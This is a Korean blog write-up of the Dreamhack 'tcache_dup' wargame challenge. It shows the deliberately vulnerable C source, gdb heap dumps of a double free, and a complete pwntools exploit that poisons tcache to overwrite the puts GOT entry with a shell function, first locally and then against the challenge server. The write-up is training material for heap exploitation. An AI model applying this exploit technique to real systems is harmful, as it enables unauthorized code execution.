Wargame/Dreamhack

tcache_dup

wyv3rn 2022. 8. 3. 15:46
728x90
반응형

 

// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if(cnt > 10) {
        return -1;
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if(!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if(idx > 10) {
        return -1;
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while(1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch(idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}

코드부터 분석해보자.

main 함수에서 메뉴가 2개 있는데, 1은 create 함수 실행 뒤 cnt를 1 더한다, 2는 delete 함수를 실행한다.

create 함수는 size를 입력 받고, ptr에 할당된 주소를 return 받은 뒤 data를 입력 받아 저장한다.
하지만 cnt 변수로 횟수를 제한하고 있으며, 총 10번의 할당이 가능하다.

delete 함수는 idx를 입력 받아 해당 값을 free 한다.

마지막으로 사용되지 않는 함수가 있는데 get_shell으로 셀을 실행시킨다.

 

대략 어디던 get_shell 함수의 주소를 넣고 이를 실행시키면 되는데, 어디에 어떻게 넣는가가 관건이다.

이번에는 patchelf를 통해 libc patch 후 시도해보자.

https://wyv3rn.tistory.com/81

 

patchelf 사용법.

딱 두개 명령어만 기억하자 ┌──(kali㉿kali)-[~/Downloads] └─$ patchelf --set-interpreter ./ld-50390b2ae8aaa73c47745040f54e602f.so.2 tcache_dup ┌──(kali㉿kali)-[~/Downloads] └─$ ldd tcache_du..

wyv3rn.tistory.com

ld 파일은 md5sum을 통해 인터넷 검색으로 쉽게 찾았다.

──(kali㉿kali)-[~/Downloads]
└─$ md5sum libc-2.27.so                                                 
50390b2ae8aaa73c47745040f54e602f  libc-2.27.so

https://github.com/matrix1001/welpwn/blob/master/PwnContext/libs/ld.so/ld-50390b2ae8aaa73c47745040f54e602f.so.2

 

GitHub - matrix1001/welpwn: 💖CTF pwn framework.

💖CTF pwn framework. Contribute to matrix1001/welpwn development by creating an account on GitHub.

github.com

 

tcache poisoning test부터 해보자.

할당 -> free -> free를 통해 tcache 영역에 값을 쌓아두고, 다시 할당 시 tcache에 삽입할 주소를 데이터로 넣은 뒤 다시 할당하면 된다.

이를 gdb로 보면

우선 할당 -> free -> free

#할당

Continuing.
1. Create
2. Delete
> 1
Size: 16
Data: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
gef➤  x/40gx 0x602000
0x602000:       0x0000000000000000      0x0000000000000251
0x602010:       0x0000000000000000      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
0x602050:       0x0000000000000000      0x0000000000000000
...
0x602250:       0x0000000000000000      0x0000000000000021
0x602260:       0x6161616161616161      0x6161616161616161
0x602270:       0x0000000000000000      0x0000000000020d91

#free

Continuing.
1. Create
2. Delete
> 2
idx: 0
gef➤  x/40gx 0x602000
0x602000:       0x0000000000000000      0x0000000000000251
0x602010:       0x0000000000000001      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
0x602050:       0x0000000000602260      0x0000000000000000
...
0x602250:       0x0000000000000000      0x0000000000000021
0x602260:       0x0000000000000000      0x6161616161616161
0x602270:       0x0000000000000000      0x0000000000020d91

#free

gef➤  x/40gx 0x602000
0x602000:       0x0000000000000000      0x0000000000000251
0x602010:       0x0000000000000002      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
0x602050:       0x0000000000602260      0x0000000000000000
...
0x602250:       0x0000000000000000      0x0000000000000021
0x602260:       0x0000000000602260      0x6161616161616161
0x602270:       0x0000000000000000      0x0000000000020d91

다시 할당하며 주소로 사용할 값을 넣고

gef➤  x/40gx 0x602000
0x602000:       0x0000000000000000      0x0000000000000251
0x602010:       0x0000000000000001      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
0x602050:       0x0000000000602260      0x0000000000000000
...
0x602250:       0x0000000000000000      0x0000000000000021
0x602260:       0x6262626262626262      0x6262626262626262
0x602270:       0x0000000000000000      0x0000000000020d91

여기서 다시 할당하면 fd 값이 tcache에 들어간다.

gef➤  x/40gx 0x602000
0x602000:       0x0000000000000000      0x0000000000000251
0x602010:       0x0000000000000000      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
0x602050:       0x6262626262626262      0x0000000000000000
...
0x602250:       0x0000000000000000      0x0000000000000021
0x602260:       0x6464646464646464      0x6464646464646464
0x602270:       0x0000000000000000      0x0000000000020d91

 

이제 tcache에 값이 들어가는 것을 확인하였으니 어디에 값을 쓸지 보자.

 

이 프로그램에서 사용되는 함수는 아래와 같고

gef➤  info func
All defined functions:

Non-debugging symbols:
0x00000000004006f8  _init
0x0000000000400730  free@plt
0x0000000000400740  puts@plt
0x0000000000400750  __stack_chk_fail@plt
0x0000000000400760  system@plt
0x0000000000400770  printf@plt
0x0000000000400780  alarm@plt
0x0000000000400790  read@plt
0x00000000004007a0  __libc_start_main@plt
0x00000000004007b0  signal@plt
0x00000000004007c0  malloc@plt
0x00000000004007d0  setvbuf@plt
0x00000000004007e0  __isoc99_scanf@plt
0x00000000004007f0  exit@plt
0x0000000000400800  __gmon_start__@plt
0x0000000000400810  _start
0x0000000000400840  deregister_tm_clones
0x0000000000400880  register_tm_clones
0x00000000004008c0  __do_global_dtors_aux
0x00000000004008e0  frame_dummy
0x0000000000400906  alarm_handler
0x0000000000400914  initialize
0x0000000000400970  create
0x0000000000400a3a  delete
0x0000000000400ab0  get_shell
0x0000000000400ac1  main
0x0000000000400b50  __libc_csu_init
0x0000000000400bc0  __libc_csu_fini
0x0000000000400bc4  _fini

main 함수에서 메뉴를 출력해주는 함수로 puts를 사용하므로 

gef➤  disas main
Dump of assembler code for function main:
   0x0000000000400ac1 <+0>:     push   %rbp
   0x0000000000400ac2 <+1>:     mov    %rsp,%rbp
   0x0000000000400ac5 <+4>:     sub    $0x10,%rsp
   0x0000000000400ac9 <+8>:     mov    %fs:0x28,%rax
   0x0000000000400ad2 <+17>:    mov    %rax,-0x8(%rbp)
   0x0000000000400ad6 <+21>:    xor    %eax,%eax
   0x0000000000400ad8 <+23>:    movl   $0x0,-0xc(%rbp)
   0x0000000000400adf <+30>:    mov    $0x0,%eax
   0x0000000000400ae4 <+35>:    call   0x400914 <initialize>
   0x0000000000400ae9 <+40>:    mov    $0x400bf3,%edi
   0x0000000000400aee <+45>:    call   0x400740 <puts@plt>
   0x0000000000400af3 <+50>:    mov    $0x400bfd,%edi
   0x0000000000400af8 <+55>:    call   0x400740 <puts@plt>
   0x0000000000400afd <+60>:    mov    $0x400c07,%edi
   0x0000000000400b02 <+65>:    mov    $0x0,%eax
   0x0000000000400b07 <+70>:    call   0x400770 <printf@plt>
   0x0000000000400b0c <+75>:    lea    -0x10(%rbp),%rax
   0x0000000000400b10 <+79>:    mov    %rax,%rsi
   0x0000000000400b13 <+82>:    mov    $0x400bdb,%edi
   0x0000000000400b18 <+87>:    mov    $0x0,%eax
   0x0000000000400b1d <+92>:    call   0x4007e0 <__isoc99_scanf@plt>
   0x0000000000400b22 <+97>:    mov    -0x10(%rbp),%eax
   0x0000000000400b25 <+100>:   cmp    $0x1,%eax
   0x0000000000400b28 <+103>:   je     0x400b31 <main+112>
   0x0000000000400b2a <+105>:   cmp    $0x2,%eax
   0x0000000000400b2d <+108>:   je     0x400b41 <main+128>
   0x0000000000400b2f <+110>:   jmp    0x400b4c <main+139>
   0x0000000000400b31 <+112>:   mov    -0xc(%rbp),%eax
   0x0000000000400b34 <+115>:   mov    %eax,%edi
   0x0000000000400b36 <+117>:   call   0x400970 <create>
   0x0000000000400b3b <+122>:   addl   $0x1,-0xc(%rbp)
   0x0000000000400b3f <+126>:   jmp    0x400b4c <main+139>
   0x0000000000400b41 <+128>:   mov    $0x0,%eax
   0x0000000000400b46 <+133>:   call   0x400a3a <delete>
   0x0000000000400b4b <+138>:   nop
   0x0000000000400b4c <+139>:   jmp    0x400ae9 <main+40>
End of assembler dump.

puts got에 덮어씌워보자.

(free_hook을 생각할 수 있는데, 이 문제는 memory leak이 불가능하기에 got에 쓰려한다.)

 

이를 기준으로 코드를 작성해보면 아래와 같다.

from pwn import *

p = process('./tcache_dup')
e = ELF('./tcache_dup')

def crt(size,data):
    p.sendlineafter(b'> ',b'1')
    p.sendlineafter(b': ',size)
    p.sendafter(b': ',data)

def dlt(idx):
    p.sendlineafter(b'> ',b'2')
    p.sendlineafter(b': ',idx)

#double free
crt(b'16',b'a')
dlt(b'0')
dlt(b'0')

puts_got = e.got['puts']
get_shell_add = e.symbols['get_shell']

#tcache poisoning
crt(b'16',p64(puts_got))
crt(b'16',b'a')

#overwrite get_shell address to puts_got
crt(b'8',p64(get_shell_add))

p.interactive()

실행해보니

┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Starting local process './tcache_dup': pid 23867
[*] '/home/kali/Downloads/tcache_dup'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
[*] '/home/kali/Downloads/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),121(bluetooth),133(scanner),141(kaboxer)

셀이 잘 실행된다.

서버에 시도.

from pwn import *

p = remote('host3.dreamhack.games',16038)
#p = process('./tcache_dup')
e = ELF('./tcache_dup')

def crt(size,data):
    p.sendlineafter(b'> ',b'1')
    p.sendlineafter(b': ',size)
    p.sendafter(b': ',data)

def dlt(idx):
    p.sendlineafter(b'> ',b'2')
    p.sendlineafter(b': ',idx)

#double free
crt(b'16',b'a')
dlt(b'0')
dlt(b'0')

puts_got = e.got['puts']
get_shell_add = e.symbols['get_shell']

#tcache poisoning
crt(b'16',p64(puts_got))
crt(b'16',b'a')

#overwrite get_shell address to puts_got
crt(b'8',p64(get_shell_add))

p.interactive()
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py                                                  
[+] Opening connection to host3.dreamhack.games on port 16038: Done
[*] '/home/kali/Downloads/tcache_dup'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
[*] Switching to interactive mode
$ id
uid=1000(tcache_dup) gid=1000(tcache_dup) groups=1000(tcache_dup)
$ cat flag
DH{----------#플래그는 삭제}
728x90
반응형